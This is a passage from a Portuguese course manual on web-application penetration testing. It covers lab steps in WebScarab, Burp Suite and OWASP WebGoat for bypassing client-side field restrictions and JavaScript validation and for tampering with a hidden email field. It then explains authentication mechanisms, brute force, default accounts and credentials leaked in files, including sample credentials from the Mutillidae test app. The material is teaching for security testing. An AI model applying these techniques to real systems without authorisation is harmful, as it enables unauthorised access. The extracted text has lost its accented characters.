13. Analise os itens contidos na tabela de requisies e observe os parmetros passados em


requisies GET e POST.

81
14. Role a tabela at o item com menor ID.

15. D um duplo clique sobre ele e veja que uma tela com detalhes da requisio e da res-
posta aparece.

16. Esta janela dividida em quatro sees separadas por uma barra fina, contendo setas no
lado esquerdo. Clique nas setas que apontam para baixo na primeira e terceira barras.
Isto ocultar o corpo das mensagens.

17. Na seo de requisio, clique na aba Raw.

18. Percorra os diversos itens, clicando no boto Next, e, durante esta tarefa, observe os
parmetros passados em requisies GET e POST, cabealhos no padronizados e pontos
em que cookies so definidos.

19. Feche a janela do WebScarab.

No Burp Suite

20. Retorne janela do Burp Suite.

21. Selecione a aba Target e a aba-filha Site map.

22. Clique na barra Filter e marque o campo Show only in-scope items.

23. Clique novamente na barra para recolher a janela.

24. Selecione a aba Request, abaixo da tabela de requisies, e a aba-filha Raw.

25. Percorra os itens do mapa da aplicao, um a um, analisando a requisio que foi reali-
zada e identificando parmetros passados em requisies GET e POST.

26. Selecione a aba Response, abaixo da tabela de requisies, e a aba-filha Raw.

27. Percorra os itens do mapa da aplicao, um a um, analisando a resposta gerada pelo ser-
vidor e identificando cabealhos no padronizados e pontos em que so definidos cookies.

28. Clique com o boto direito na raiz do mapa da aplicao e selecione Copy links in this host.

29. Abra o gedit, localizado no menu Aplicativos\Acessrios, e pressione Ctrl+V, para colar os
links existentes nas pginas da aplicao. Veja se encontra alguma coisa interessante.

30. Feche a janela do Burp Suite.

Atividade 4 Descoberta e explorao de vulnerabilidades


O propsito da presente atividade introduzir ao aluno o processo de descoberta e explo-
rao de vulnerabilidades. Ser abordada a explorao de controles no lado cliente, que,
muitas vezes, constitui o nico ponto de validao das informaes fornecidas pelos usu-
Teste de Invaso de Aplicaes Web

rios. Como se sabe, tal prtica censurvel, pois, normalmente, uma tarefa trivial quebrar
este tipo de mecanismo. Nos exerccios que se seguem, recomenda-se que o aluno tente
traar a estratgia de explorao, antes de seguir o roteiro fornecido.

Acesso ao WebGoat
Os exerccios desta atividade sero executados no OWASP WebGoat, uma aplicao con-
tendo vulnerabilidades propositais, para o estudo de segurana em aplicaes web.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

82
3. Selecione a aba-filha Manual Edit, sob a aba Proxy, e desmarque a opo Intercept requests.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

5. Clique no marcador WebGoat e fornea guest e guest, quando usurio e senha


forem solicitados.

6. Clique em Start WebGoat.

Evaso de restries em campos HTML


Neste exerccio, um formulrio contendo diversos campos com restries apresentado
pela aplicao e o aluno deve violar todas as regras definidas. Para facilitar na soluo,
pense qual elemento responsvel por honrar as restries dos campos.

1. Selecione a aba Summary no WebScarab e identifique o ID da ltima requisio.

2. No WebGoat, clique no menu Parameter Tampering e no sub-menu Bypass HTML


Field Restrictions.

3. Verifique as restries definidas para cada campo do formulrio.

4. Submeta o formulrio, clicando em Submit.

5. Retorne ao WebScarab, d um duplo clique na requisio posterior identificada no


passo 1 e observe os parmetros passados via POST. Repare que o campo desabilitado
no submetido ao servidor.

6. Feche a janela.

7. Clique na aba Proxy e na aba-filha Manual Edit.

8. Marque a opo Intercept requests e desmarque as demais.

9. Volte ao Firefox e pressione Ctrl+U para visualizar o cdigo-fonte.

10. Pressione Ctrl+F e digite Disabled input field:, para encontrar o campo desabilitado.

11. Anote o nome do campo, definido no elemento <input>, e feche a janela de visualizao de
cdigo-fonte.

12. Clique em Submit novamente. Uma janela aparece, contendo a requisio que ser efe-
tuada. Para alterar o valor de um parmetro, basta dar um duplo clique na coluna Value,
na linha correspondente, e digitar a nova informao.

13. Clique em Insert.

14. Substitua o nome Variable pelo identificado no Passo 11.

15. Altere os seis parmetros para o valor blabla.

16. Clique em Accept changes.


Captulo 2 - Roteiro de Atividades

17. O exerccio finalizado com sucesso e a mensagem * Congratulations. You have


successfully completed this lesson. exibida.

Evaso de validao Javascript


O objetivo deste exerccio ilustrar como a validao de informaes, por meio de Javascript,
pode ser facilmente quebrada, quando ela no ratificada pelo servidor.

1. No WebScarab, selecione a aba Proxy e a aba-filha Manual Edit.

2. Desmarque todas as opes.

83
3. Retorne ao WebGoat e clique no menu Parameter Tampering e no sub-menu Bypass Client
Side JavaScript Validation.

4. Leia as regras definidas para cada campo, altere-os para valores invlidos e submeta o
formulrio, clicando em Submit.

5. Veja que a validao local identifica problemas nos campos e impede que a requisio
seja realizada. Feche a janela de mensagem.

6. Clique em Restart this lesson.

7. Retorne ao WebScarab e clique em Intercept requests.

8. Volte ao Firefox e submeta o formulrio novamente. Uma janela aparece, contendo a


requisio que ser efetuada.

9. Insira o caractere ! ao final dos valores dos parmetros.

10. Clique em Accept changes.

11. O exerccio finalizado com sucesso e a mensagem * Congratulations. You have


successfully completed this lesson. exibida.

Explorao de campo escondido


Esta atividade simula uma aplicao para suporte a cliente, que permite enviar uma men-
sagem ao administrador, por meio do formulrio fornecido. O objetivo enviar mensagens a
pessoas arbitrrias, mesmo sem a existncia de tal opo.

1. No WebScarab, selecione a aba Proxy e a aba-filha Manual Edit.

2. Desmarque todas as opes.

3. Retorne ao WebGoat e clique no menu Parameter Tampering e no sub-menu Exploit


Unchecked Email.

4. Role a pgina at o final do formulrio, preencha-o e clique em Send!.

5. Veja no final da pgina apresentada o formato da mensagem submetida.

6. Retorne ao WebScarab e clique em Intercept requests.

7. Volte ao Firefox e submeta uma nova mensagem pelo sistema. Uma janela aparece, con-
tendo a requisio que ser efetuada.

8. Observe a existncia do parmetro to. Este um campo escondido do formulrio, que


teria sido encontrado na fase de mapeamento da aplicao. Isto um exemplo da impor-
tncia de no se pular etapas.

9. Altere o valor do parmetro to para friend@owasp.org.


Teste de Invaso de Aplicaes Web

10. Clique em Accept changes.

11. Role at o final da pgina e verifique que a mensagem foi enviada ao e-mail
friend@owasp.org, em vez de webgoat.admin@owasp.org. A pgina de sucesso no
aparece, porque este roteiro apenas parte do esperado.

84
Bibliografia 2
1 DOUP, Adam; COVA, Marco e VIGNA, Giovanni. Why Johnny Cant Pentest: An Analysis of
Black-box Web Vulnerability Scanners. In: Proceedings of Seventh Conference on Detection of
Intrusions and Malware & Vulnerability Assessment (DIMVA 2010). Bonn, Germany, 2010.

1 HERZOG, Pete. OSSTMM 3 The Open Source Security Testing Methodology Manual
Contemporary Security Testing and Analysis. ISECOM, 2010.

1 LONG, Johnny; TEMMINGH, Roelof; STEWART, Jeff; PETKOV, Petko D. e LANGLEY, Ryan.
Google Hacking for Penetration Testers: Volume 2 a completely new volume of Google
hacking techniques. Syngress, 2008.

1 MCGRAW, Gary. Software Security: Building Security In. Addison-Wesley Professional, 2006.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.
1 NETMARKETSHARE. Browser market share. Disponvel em: http://marketshare.hitslink.
com/report.aspx?qprid=0. Data de acesso: 28/12/2010.

1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009a.

1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.

1 POSTEL, Jon. RFC 793 Transmission Control Protocol DARPA Internet Program
Protocol Specification. 1981.

1 SCARFONE, Karen; SOUPPAYA, Murugiah; CODY, Amanda e OREBAUGH, Angela.


Technical Guide to Information Security Testing and Assessment Recommendations
of the National Institute of Standards and Technology. NIST Special Publication 800-115,
National Institute of Standards and Technology, 2008.

1 STATCOUNTER. Top 5 browsers from Nov 09 to Nov 10. Disponvel em:


http://gs.statcounter.com/. Data de acesso: 28/12/2010.

1 STATOWL. Web browser market share. Disponvel em: http://www.statowl.com/web_


browser_market_share.php. Data de acesso: 28/12/2010.

1 STUTTARD, Dafydd; PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.

Captulo 2 - Bibliografia 2

85
86
Teste de Invaso de Aplicaes Web
3
Teste do mecanismo de autenticao
objetivos

Apresentar as principais vulnerabilidades s quais esto sujeitos os mecanismos


de autenticao de usurios, bem como as tcnicas que podem ser empregadas
para detect-las e explor-las.

conceitos
Fatores e tecnologias de autenticao, enumerao de usurios, autenticao com
mltiplos fatores, ataques de fora bruta, ataques de dicionrio, rainbow tables,
poltica de senhas fortes.

Introduo
Um requisito importante de segurana da informao, que deve ser satisfeito por apli- q
caes web, a autenticao de entidades, isto , a corroborao da identidade da parte
com a qual se comunica.

Por um lado, os usurios querem ter a certeza de que esto conectados com o servidor
legtimo antes de fornecerem informaes sensveis, como credenciais de acesso e docu-
mentos de projeto. Por outro, a aplicao necessita confirmar a identidade de cada usurio,
para que acessos a regies protegidas sejam devidamente autorizados. O primeiro caso
resolvido, normalmente, por meio do uso do protocolo HTTPS, cujas vulnerabilidades de
implantao so discutidas no Captulo 9. J a autenticao de usurios ser abordada, ao
longo deste captulo, com foco nos problemas de segurana que podem ocorrer.

Um processo de autenticao de entidades sempre envolve a interao entre duas q Captulo 3 - Teste do mecanismo de autenticao

partes, o reclamante e o verificador, que visam, respectivamente, comprovar a prpria


identidade e averiguar as provas fornecidas pelo primeiro. Nesse contexto, o reclamante
pode utilizar um ou mais fatores abaixo para provar o que deseja:

1 Algo que se sabe: para provar a identidade, o reclamante mostra conhecimento de


uma informao sabida apenas por ele, como senhas e chaves privadas. Esse o fator
mais utilizado para autenticao de usurios em aplicaes web.

1 Algo que se tem: o reclamante deve provar que possui um dispositivo fsico parti-
cular, fornecido ou cadastrado anteriormente pelo verificador. Cartelas de senhas,
celulares, smart cards e geradores de senhas nicas so exemplos de tais disposi-
tivos, os quais so comumente empregados em cenrios que requerem um alto nvel
de segurana, como internet banking e declarao de Imposto de Renda.

87
1 Algo que se : nesse caso, uma pessoa prova a identidade por meio de uma caracte- q
rstica fsica ou comportamental (biometria), como ris, voz, retina, impresso digital,
face, padro de digitao, assinatura manual, entre outros. Embora seja possvel utilizar
esse fator em aplicaes web, no muito comum encontr-lo na prtica, pois o custo
dos sensores pode ser elevado e o processo de cadastro de usurios no trivial.

Quando mais de um fator empregado no processo de autenticao, diz-se que ele


multifator, e, de modo geral, isso confere um nvel de segurana superior a solues que se
baseiam em uma nica classe de mecanismo. Uma exceo, porm, engloba aqueles sis-
temas que permitem que o usurio se autentique com apenas um dos fatores contemplados
e, consequentemente, a segurana equivalente ao mecanismo mais fraco do conjunto.

No caso especfico de biometria, possvel utilizar mais de uma caracterstica fsica ou


comportamental do usurio, para autentic-lo, o que chamado de autenticao bio-
mtrica multimodal. Pode-se dizer que a autenticao de usurios o mecanismo de segu-
rana mais evidente para aqueles que utilizam uma aplicao, pois ele completamente
explcito e obrigatrio.

Quando apresenta falhas, porm, um atacante consegue acesso ilegtimo ao sistema, seja
pela porta da frente, por meio do fornecimento de credenciais vlidas, maliciosamente
obtidas, ou pela lateral, evadindo ou subvertendo a implementao do mecanismo. Em
qualquer dos casos, informaes sensveis da vtima podem ser comprometidas e aes,
realizadas em nome dela. Obviamente, o problema torna-se muito mais crtico caso a conta
violada tenha privilgios administrativos (Meucci et al., 2008; Stuttard e Pinto, 2007).

Este captulo tem por objetivo apresentar as diversas vulnerabilidades que, comumente,
afetam os mecanismos de autenticao de entidades. Com isso em mente, os seguintes
tpicos so cobertos: tecnologias de autenticao, uso de informaes obtidas nas fases de
reconhecimento e de mapeamento, credenciais padronizadas, enumerao de identifica-
dores de usurio, mecanismo vulnervel de recuperao de senhas, funcionalidade lembrar
usurio, transporte inseguro de credenciais, falhas na implementao do mecanismo, troca
de senhas vulnervel, ataque de fora bruta, ataque de dicionrio, ataque contra senhas
armazenadas, polticas de senhas fortes e engenharia social.

Exerccio de fixao 1 e
Autenticao de usurio
Que fatores podem ser utilizados na autenticao de um usurio?

Exerccio de nivelamento 1 e
Teste de Invaso de Aplicaes Web

Autenticao de entidades
O que se entende por autenticao de entidades?

Que tecnologias de autenticao voc encontra nas aplicaes web que utiliza?

88
Tecnologias de autenticao empregadas em aplicaes web
O mecanismo de autenticao de usurios mais comumente empregado por aplicaes q
web consiste no fornecimento de identificador e senha, cuja correo deve ser verificada
pela aplicao contra uma base de contas cadastradas. Essa abordagem pode ser imple-
mentada por meio das seguintes tecnologias:

1 Autenticao HTTP: baseia-se nos mtodos Basic e Digest, nativos do protocolo HTTP,
que solicitam as credenciais por meio de uma caixa de dilogo exibida ao usurio pelo
navegador web. No muito utilizada em aplicaes acessveis pela internet, salvo em
alguns sistemas de correio eletrnico corporativo. Possui a desvantagem de no permitir
travamento de conta, aps mltiplas tentativas invlidas e sucessivas de autenticao.

1 Autenticao integrada ao Windows: antigamente, conhecida por autenticao


NTLM NTLM ou NT LAN Manager um mtodo suportado pelos produtos da Microsoft, que
Antiga sute de utiliza Kerberos ou NTLM no processo de autenticao de usurios. Diferentemente da
protocolos de autenticao HTTP, primeiro tenta utilizar as informaes de conta Windows presentes
segurana, desenvolvida
pela Microsoft para uso no cliente, antes de solicitar as credenciais para o usurio. Como no capaz de traba-
em redes Windows, com lhar em conexes com proxy, nunca empregada em aplicaes web na internet.
o objetivo de prover
autenticao, sigilo e 1 Autenticao por formulrios: segundo Stuttard e Pinto (2007), essa tecnologia
integridade. Como no usada por mais de 90% dos sistemas na internet, devido flexibilidade e facilidade
suporta algoritmos de personalizao que apresenta. A captura de credenciais ocorre em um formulrio
criptogrficos
modernos, no deve em HTML e a verificao efetuada no lado do servidor. Polticas de senhas fortes
ser empregada em e controles adicionais de segurana podem ser desenvolvidos da maneira que se
novas implementaes, queira, bastando que sejam codificadas pela aplicao ou suportadas pelo arcabouo
segundo recomendao
do prprio fornecedor. de autenticao empregado.

Atualmente, comum que uma nica pessoa tenha contas em dezenas de sites web, que
vo de aplicaes de correio eletrnico a sistemas de internet banking. Uma prtica de
segurana importante que sejam utilizadas senhas diferentes e fortes para cada uma das
contas, mas isso dificulta que o usurio memorize todas elas. Para resolver esse problema,
os navegadores web modernos e sutes de proteo de computadores pessoais apresentam

l funcionalidades para armazenamento seguro de senhas, por meio de uma senha mestra.
Embora alguns riscos de segurana pairem sobre essas solues, ainda uma abordagem
Saiba mais
muito melhor que a escrita das senhas em um pedao de papel ou o armazenamento em
Kerberos um proto- arquivo no cifrado.

q
colo de autenticao
de entidades, para Outro problema decorrente das solues baseadas em senhas que elas podem ser
aplicaes cliente/ser-
capturadas por software malicioso (keylogger) enquanto so digitadas em mquinas
vidor, criado pelo Mas- Captulo 3 - Teste do mecanismo de autenticao
sachusetts Institute of infectadas. Isso levou muitas empresas a adotarem teclados virtuais, como o ilustrado
Technology (MIT). Uti- na Figura 3.1(a), que permitem que o usurio clique nos caracteres que compem a
liza uma terceira parte
senha escolhida, anulando a ameaa de interceptao. A resposta criminosa foi a criao
confivel e criptografia
simtrica, para corro- de screenloggers, capazes de gravar regies da tela ao redor do ponto clicado com o
borar as identidades mouse, bem como as coordenadas dessa posio. Um novo avano foi necessrio e,
das partes envolvidas
hoje, alguns teclados virtuais permutam as posies dos elementos, aleatoriamente,
e, ao mesmo tempo,
estabelecer uma chave, antes de apresent-los, e escondem o smbolo de uma tecla, quando o mouse passa por
para proteo do canal cima dela vide Figura 3.1(b).
de comunicao.
Aplicaes de internet banking e sistemas que requerem um alto grau de segurana
adotam, frequentemente, tokens como um segundo fator de autenticao.

A forma mais simples consiste em uma cartela contendo cerca de cinquenta senhas de
quatro dgitos geradas aleatoriamente para cada usurio e numeradas sequencialmente

89
vide Figura 3.2(a). Quando uma transao crtica, como transferncia de fundos, requisi-
tada, a aplicao solicita que uma senha especfica da cartela e a senha geral sejam
fornecidas. Se o usurio no possui a cartela correta, a chance de acerto de uma em dez
mil possibilidades, o que razoavelmente seguro, quando o travamento de contas
utilizado. O problema, porm, reside no fato de que adivinhao de senhas no o caminho
adotado pelos criminosos. O que normalmente eles fazem induzir o usurio, por meio de
engenharia social, a acessar uma pgina falsificada e fornecer todas as posies da tabela,
sob pretexto de um problema ter ocorrido na base da aplicao. Infelizmente, ainda hoje,
muitas pessoas so susceptveis a esse tipo de ataque!

Figura 3.1
Teclados virtuais: (a)
Tradicional. (b) Com
proteo contra
screenlogger.

(a) (b)

Considerando o ataque acima, uma tecnologia mais eficaz, porm mais custosa, compre- q
ende dispositivos de gerao de senhas dinmicas, as quais podem ser usadas apenas
uma nica vez pelo usurio. Desse modo, a captura delas torna-se uma ameaa irrele-
vante, pois no possvel reutiliz-las para autenticao, por serem descartveis.

Porm, como em toda soluo baseada em token, um problema surge quando a pessoa
perde ou danifica o equipamento, porque ela ser impedida de utilizar a aplicao, at
que aquele seja substitudo. De modo geral, esses dispositivos apresentam um visor de
LCD (Figura 3.2(b)), no qual a senha exibida, e, eventualmente, um teclado numrico para
entrada de senha pessoal e desafios. Para que o usurio possa ser validado corretamente,
os tokens precisam estar sincronizados com o servidor de autenticao da aplicao, o que
realizado de acordo com a classe a que pertencem (Harris, 2008):

1 Sncronos: a senha gerada a partir de uma semente secreta e individualizada e


de uma informao, como o horrio ou um contador, as quais so compartilhadas
entre o servidor de autenticao e o dispositivo. No primeiro caso, a senha alterada
depois de transcorrido um intervalo de tempo pr-determinado, enquanto que, no
segundo, o usurio precisa apertar um boto para avanar para o prximo valor.

1 Assncronos: essa classe de dispositivos baseada no seguinte protocolo de


desafio-resposta: o servidor de autenticao gera um nmero aleatrio, que
exibido ao usurio pela aplicao. Este digita o valor no token, juntamente com
a senha pessoal, e a senha resultante calculada e exibida no visor de LCD. Para
Teste de Invaso de Aplicaes Web

encerrar a autenticao, o valor correto deve ser fornecido aplicao, que com-
pleta a operao solicitada, somente caso a validao seja realizada com sucesso.

Outra soluo interessante envolvendo tokens consiste no envio, quando necessrio, de


informaes de autenticao ao aparelho celular cadastrado para o usurio.

Por exemplo, ao receber uma requisio de operao crtica, a aplicao gera um nmero
aleatrio de confirmao e o envia, por meio de SMS, ao telefone do cliente, que deve digit-lo
em campo especfico do sistema. Para atacar uma soluo assim, necessrio, alm de
obter as credenciais vlidas de um usurio, adivinhar o valor de confirmao gerado pelo

90
servidor ou ter acesso ao celular da vtima. Um problema dessa tecnologia, porm, que
no h garantia de entrega de mensagens SMS, o que pode impedir a concretizao de uma
transao, se o valor de confirmao no for recebido a tempo.

Figura 3.2
Tokens: (a) Cartela
de senhas. (b)
Dispositivo sncrono
de senhas dinmicas
baseado em horrio.

(a) (b)

Embora solues baseadas em smart cards e tokens criptogrficos estejam disponveis h


um bom tempo (Hamman et al., 2001), no fcil encontrar aplicaes web que as utilizem,
devido ao alto custo de implantao e dificuldade de operacionalizao. Apesar disso, h um
exemplo de uso dessas tecnologias no cenrio brasileiro, o site da Receita Federal, que
permite realizar a autenticao do usurio por meio do e-CPF (vide Figura 3.3).

Captulo 3 - Teste do mecanismo de autenticao

q
Figura 3.3
Aplicao da O princpio bsico da autenticao por token criptogrfico consiste no protocolo de
Receita Federal,
que permite acesso desafio-resposta ilustrado, de maneira simplificada, na Figura 3.4:
via e-CPF. 1. O usurio solicita aplicao a realizao de uma operao crtica.

2. Como resposta, o servidor envia um nmero aleatrio (desafio) ao cliente, que deve
ser assinado digitalmente com a chave privada contida no token.

3. O lado cliente da aplicao solicita ao usurio a senha do smart card.

4. Usurio fornece aplicao a senha de acesso ao smart card.

5. A senha enviada ao smart card, para autenticao do usurio.

91
6. A aplicao cliente fornece o desafio para o smart card, para gerao de assinatura. q
7. O smart card assina o desafio e o devolve aplicao cliente.

8. O desafio assinado enviado ao servidor, para verificao por meio da chave pblica
cadastrada do usurio. Caso uma resposta positiva seja obtida, possvel corroborar
a identidade do usurio, pois somente ele, que detm o smart card e conhece a senha
de acesso, capaz de gerar uma assinatura digital vlida.

Usurio

(3) Solicita
(4) Senha
senha

(5) Senha (1) Operao crtica

(6) Desao (2) Desao

(7) Desao assinado (8) Desao assinado

Smart card Aplicao - lado cliente Aplicao - lado servidor

Alternativamente, possvel calcular um MAC sobre o desafio, em vez de uma assinatura Figura 3.4
digital, empregando uma chave simtrica armazenada no dispositivo criptogrfico e compar- Autenticao
de usurio com
tilhada com a aplicao. Qual dos mecanismos escolher depende do tipo de smart card utili- smart card.
zado, que pode suportar apenas criptografia simtrica ou, tambm, algoritmos assimtricos.

Conforme visto, uma ameaa contra sistemas baseados em senhas consiste na captura
destas por meio de softwares maliciosos instalados na mquina do usurio. Embora isso
tambm possa acontecer no caso das senhas de acesso s chaves criptogrficas, como
elas nunca deixam o dispositivo criptogrfico, preciso roub-lo, para executar um ataque
efetivo contra a aplicao. Outro cenrio hipottico, mas factvel se o token fica conectado
ao ambiente o tempo inteiro, utilizar o prprio malware que captura a senha para rea-
lizar transaes fraudulentas em nome da vtima. Nesse caso, o dispositivo criptogrfico
tratado como um orculo, que responde a todas as perguntas que lhe so direcionadas.

Outro mtodo possvel de corroborar a identidade do usurio, porm, pouco presente q


em aplicaes web, emprega o prprio protocolo SSL/TLS, que permite autenticao
mtua de entidades. Isso requer que um certificado digital de usurio e a chave privada
correspondente, normalmente, em formato Public-Key Cryptography Standards #12
(PCKS #12), sejam inseridos no navegador web. PKCS #12
Padro criado pelo
Quando o usurio acessar uma aplicao que requeira o uso de certificado de cliente, o RSA Laboratories, para
Teste de Invaso de Aplicaes Web

navegador abre uma janela solicitando que um par de chaves seja escolhido (vide Figura o armazenamento e
transferncia seguros de
3.5). Caso o servidor consiga validar o certificado apresentado, a negociao SSL/TLS com-
chaves privadas e outras
pletada com sucesso, e acesso a regies protegidas da aplicao concedido ao usurio. informaes sigilosas
de identificao.
As seguintes dificuldades, pelo menos, podem ser enumeradas para a autenticao de
usurio baseada no protocolo SSL/TLS:

1 Dificuldade de implantao: cada usurio da aplicao precisa obter um certificado de


uma autoridade certificadora vlida ou ento a entidade dona da aplicao necessita
criar e manter infraestrutura de chaves pblicas prpria. Qualquer uma das abordagens
gera um custo financeiro e/ou operacional, que, muitas vezes, pode ser proibitivo.

92
1 Proteo da chave privada de usurio: de modo geral, os navegadores web somente
pedem a senha do arquivo PKCS #12, contendo a chave privada, no momento de impor-
tao. Aps isso, qualquer pessoa que tenha acesso mquina capaz de se autenticar
na aplicao, selecionando o par de chaves adequado.

1 Controle de acesso: os privilgios de acesso so concedidos com base em configuraes


no servidor web, que especifica os recursos da aplicao que cada usurio pode acessar,
de acordo com o nome contido no certificado. Fica claro que gerenciar os privilgios em
um ambiente assim no nada prtico, pois cada alterao requer que o servidor seja
reiniciado, para que as novas configuraes tornem-se ativas.

Figura 3.5
Tela do Firefox
solicitando escolha
de certificado
para acesso apli-
cao web.

A ltima tecnologia de autenticao a ser abordada a baseada em biometria, cujas q


vertentes mais simples de serem utilizadas em ambientes genricos so as de reconheci-
mento de face e de locutor.

A razo disso que, atualmente, a grande maioria de computadores pessoais e portteis


possui cmera e microfone instalados, descartando a necessidade de se adquirir equi-
pamento caro e especializado. Esse tipo de soluo requer, como no caso de dispositivos
criptogrficos, que um mdulo no lado cliente, escrito em Java ou ActiveX, por exemplo,
seja carregado e executado pelo navegador web, para controle do dispositivo de captura de
dados biomtricos.
Captulo 3 - Teste do mecanismo de autenticao

Diversos fatores impedem uma adoo em massa de biometria:

1 O processo de registro de usurio no simples e requer que diversas amostras sejam


coletadas em dois tipos de ambiente: naturais e controlados. Para aplicaes web de pro-
psito geral, isso extremamente complicado de ser realizado, pois o usurio se registra
a partir do prprio computador pessoal, sem interagir fisicamente com a empresa que
oferece o servio.

1 Mtodos biomtricos precisam ser regulados para balancear as taxas de falsos positivos
e falsos negativos. Este ltimo mede a proporo de usurios vlidos que no so auten-
ticados pelo sistema, enquanto que o primeiro avalia a taxa de pessoas, eventualmente
atacantes, que so incorretamente autenticadas como outras.

93
1 Diversos mtodos de ataque foram descritos na literatura para comprometer autenti-
cao biomtrica (Duc e Mihn, 2009; Uludag e Jain, 2004) e as principais estratgias de
mitigao requerem o uso de tecnologia especial ou ferem a usabilidade do sistema.

Exerccio de nivelamento 2 e
Vulnerabilidades
Que tipos de vulnerabilidades podem ser encontrados em mecanismos de autenticao?

Descoberta de vulnerabilidades e explorao


Um exemplo de vulnerabilidade em mecanismos de autenticao, que afeta diversas q
aplicaes web, consiste na submisso de credenciais de acesso, por meio do protocolo
HTTP, o qual no protege a confidencialidade do canal.

Consequentemente, essas informaes podem ser facilmente capturadas, no caminho


at o servidor, e utilizadas por um atacante para autenticar-se no sistema. Para ratificar
esta constatao, considere-se que, at bem pouco tempo atrs, diversos stios de correio
eletrnico funcionavam dessa maneira. Felizmente, isso melhorou muito, hoje em dia, mas
so poucos os que protegem a sesso inteira por meio do protocolo HTTPS, deixando, ainda,
uma brecha para ataques de sequestro de sesso.

Outra tcnica que pode ser empregada para quebrar o mecanismo de autenticao o q
ataque por fora bruta, que consiste em testar todas as senhas possveis para um con-
junto de identificadores de usurio.

O ponto de partida depende da enumerao de alguns usurios da aplicao, o que pode


ser facilitado pelo uso de identificadores previsveis, contas pr-instaladas ou mensagens
de erro detalhadas. Adicionalmente, para o sucesso da explorao, a aplicao precisa ser
incapaz de travar contas, aps mltiplas tentativas invlidas e sucessivas de autenticao,
alm de no implementar uma poltica de senhas fortes.

Cuidados devem ser tomados para evitar que o mecanismo de autenticao seja q
evadido. Um deslize comum, nesse sentido, criar uma pgina de autenticao que,
em caso de sucesso, redireciona o usurio para reas protegidas da aplicao, mas sem
impedir o acesso direto a essas pginas.

Nessa mesma linha, algumas aplicaes podem ser enganadas pela simples manipulao
de parmetros. Por exemplo, um atacante pode, simplesmente, trocar o valor de um campo
escondido, que indica se um usurio est autenticado, de no para sim. Ademais, se o
Teste de Invaso de Aplicaes Web

trecho de cdigo que trata a autenticao contiver erros lgicos, muito provavelmente no
sero necessrias credenciais vlidas para acesso aplicao.

Mecanismos de recuperao e troca de senhas podem, muitas vezes, ser um caminho q


para acesso no autorizado aplicao.

Alguns erros que devem ser evitados no primeiro caso compreendem: utilizao de per-
guntas secretas com respostas fceis de serem adivinhadas; inexistncia de mecanismo de
travamento por tentativas invlidas; e exibio da senha atual, caso o usurio responda cor-
retamente s perguntas secretas. J com relao troca de senhas, ataques so possveis
quando a senha antiga no solicitada, antes da realizao da operao.

94
Para finalizar, importante mencionar que o principal problema com a autenticao de q
usurio no de origem tcnica, mas sim de natureza humana.

Para pensar

As pessoas tendem a escolher senhas fceis de serem memorizadas, que so facil-


mente adivinhadas por terceiros. Quando o sistema verifica a qualidade das senhas,
os usurios criam um arquivo em claro para armazen-las ou penduram um pedao
de papel no monitor com o valor escolhido. Se cartes de senha so empregados,
basta enviar uma mensagem de correio eletrnico, dizendo que houve um problema
no sistema e que a cartela inteira precisa ser fornecida pelo usurio, para se ter
acesso a todos os valores.

Uso de informaes obtidas nas fases de reconhecimento e mapeamento


Conforme visto no Captulo 2, diversas informaes interessantes podem ser obtidas q
nas fases de mapeamento e de reconhecimento de aplicaes web. Em alguns casos, so
descobertos identificadores vlidos de usurios, que servem de ponto de partida para um
ataque de fora bruta contra o mecanismo de autenticao ou para quebra da funcio-
nalidade de recuperao de senhas. Em outros cenrios mais favorveis, as informaes
permitem acesso direto s reas protegidas do sistema, o que pode ser muito til, quando
so realizados testes caixa-preta, nos quais, contas vlidas de usurio no so fornecidas.

Por exemplo, observe-se o contedo do arquivo accounts.txt, abaixo ilustrado, que pode ser
encontrado no processo de reconhecimento da aplicao de teste Mutillidae. Tudo indica
que as informaes exibidas so credenciais de acesso aplicao. Assim, basta test-las,
uma a uma, e verificar se possvel autenticar-se como um usurio vlido, conforme
ilustrado na Figura 3.7. As vantagens dessa situao residem no tempo economizado para
obteno de acesso s reas protegidas do sistema e o no disparo de alertas por eventuais
mecanismos de deteco de intruso que estejam instalados no ambiente.

admin, adminpass, Monkey!!!

adrian, somepassword, Zombie Films Rock!!!

Figura 3.6 john, monkey, I like the smell of confunk Captulo 3 - Teste do mecanismo de autenticao
Contedo do arqui-
vo accounts.txt. ed, pentest, Commandline KungFu anyone?

95
Outra fonte de credenciais vlidas, descobertas no mapeamento da aplicao, so q Figura 3.7
Autenticao na
comentrios deixados pelos programadores, no cdigo HTML apresentado ao usurio, aplicao com da-
conforme ilustrado na Figura 3.8. dos obtidos na fase
de reconhecimento.
Isso acontece, muitas vezes, quando alguma funcionalidade ainda no est finalizada e os
desenvolvedores deixam um lembrete contendo identificador e senha de teste, para uso
prprio, o qual no removido do cdigo, por esquecimento, antes da liberao do sistema
para produo. Note-se que para essa vulnerabilidade poder ser explorada, contas de teste
devem estar presentes no ambiente final da aplicao, o que configura um problema de
segurana adicional.

Obviamente, descobrir credenciais vlidas logo no incio do teste de invaso representa q


o cenrio ideal, mas nem sempre ele pode ser alcanado. Assim, deve-se ter em mente
que outras informaes, como identificadores de usurios, podem ser igualmente teis,
empregando-se outras tcnicas de invaso. Portanto, uma lista deve ser compilada, a
partir dos identificadores encontrados, em fontes pblicas, como redes sociais e listas
de discusso, durante a etapa de reconhecimento.
Teste de Invaso de Aplicaes Web

Figura 3.8
Credenciais conti-
das em comentrio
no cdigo HTML.

96
Usurio e senha padronizados
Sistemas e plataformas, normalmente, so distribudos com algumas contas padronizadas, q
cujas senhas so conhecidas publicamente. Caso aquelas no sejam desativadas ou as
senhas no sejam alteradas, um atacante pode, muito facilmente, obter acesso no autori-
zado ao sistema, bastando para isso consultar a documentao do fornecedor ou a internet.

Mesmo quando o administrador tem preocupao em definir uma nova senha, comum
que valores simples sejam escolhidos, como pass123, por exemplo. Por esses motivos,
essa verificao deve sempre ser efetuada em um teste de invaso, para todos os elementos
mapeados, pois pode trazer excelentes resultados, com o mnimo de esforo.

Em sistemas desenvolvidos para o uso interno de uma empresa, normal encontrar q


contas previsveis como admin, administrator, root, system, test, teste, test123
